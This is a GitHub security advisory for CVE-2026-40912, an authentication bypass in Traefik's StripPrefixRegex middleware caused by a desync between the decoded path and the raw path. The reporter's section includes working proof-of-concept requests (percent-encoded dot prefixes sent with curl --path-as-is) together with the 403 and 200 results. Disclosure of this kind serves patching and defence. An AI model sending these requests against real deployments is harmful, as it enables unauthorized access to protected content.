Skip to content

Traefik has an StripPrefixRegex Middleware Authorization Bypass via Path/RawPath Desync

High severity GitHub Reviewed Published Apr 24, 2026 in traefik/traefik • Updated May 6, 2026

Package

gomod github.com/traefik/traefik (Go)

Affected versions

<= 1.7.34

Patched versions

None
gomod github.com/traefik/traefik/v2 (Go)
< 2.11.43
2.11.43
gomod github.com/traefik/traefik/v3 (Go)
>= 3.7.0-ea.1, < 3.7.0-rc.2
>= 3.0.0-beta1, < 3.6.14
3.7.0-rc.2
3.6.14

Description

Summary

There is a high severity authentication bypass vulnerability in Traefik's StripPrefixRegex middleware when used in combination with ForwardAuth, BasicAuth, or DigestAuth.

The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. /./admin/secret).

ForwardAuth receives this dot-segment path in X-Forwarded-Uri, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content

An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization.

Patches

For more information

If there are any questions or comments about this advisory, please open an issue.

Original Description

Summary

StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then
receives this wrong path in X-Forwarded-Uri, sees a path that doesn't match its protection rules, and approves the request. The backend serves protected content.

Details

pkg/middlewares/stripprefixregex/strip_prefix_regex.go, line 62:

req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):])

prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don't match when percent-encoding is
present.

Example with regex ^/api:

  • GET /api%20/admin/secret
  • Decoded Path: /api /admin/secret -> prefix = /api (4 bytes)
  • Encoded RawPath: /api%20/admin/secret -> same region is 6 bytes
  • RawPath[4:] = %20/admin/secret -> after ensureLeadingSlash -> /%20/admin/secret
  • ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -> not /admin/* -> allows it
  • Backend serves the protected admin content

PoC

Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses
auth, 200, returns protected data). Can share the files here if useful.

Impact

Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a
percent-encoded character to the prefix portion of the URL.

Updated PoC (reporter follow-up)

After further testing, the confirmed working exploit uses %2e (percent-encoded dot) rather than %20. Dot-segment normalization (/./ -> /) is RFC 3986 standard behavior handled automatically by Express.js, Go's http.ServeMux, Spring Boot, and others — no custom configuration needed.

Chain:

GET /api%2e/admin/secret
-> StripPrefixRegex strips /api -> RawPath becomes /./admin/secret
-> ForwardAuth sees /./admin/secret -> does not match /admin/ -> allows
-> Express normalizes /./admin/secret -> /admin/secret -> serves protected content

Results (Traefik v3.6, unmodified Express.js express.static):

GET /api/admin/secret      -> 403 (blocked)
GET /api%2e/admin/secret   -> 200 (bypass — served protected content)
GET /api%20/admin/secret   -> 404 (space not normalized by backend)

Auth server logs:

X-Forwarded-Uri: '/admin/secret'    -> DENIED
X-Forwarded-Uri: '/./admin/secret'  -> ALLOWED

Reproduction:

docker compose up -d --build --wait
curl http://localhost:8080/api/admin/secret                       # -> 403
curl --path-as-is "http://localhost:8080/api%2e/admin/secret"     # -> 200

References

@nmengin nmengin published to traefik/traefik Apr 24, 2026
Published to the GitHub Advisory Database Apr 24, 2026
Reviewed Apr 24, 2026
Published by the National Vulnerability Database Apr 30, 2026
Last updated May 6, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(51st percentile)

Weaknesses

Use of Incorrectly-Resolved Name or Reference

The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere. Learn more on MITRE.

CVE ID

CVE-2026-40912

GHSA ID

GHSA-6jwx-7vp4-9847

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.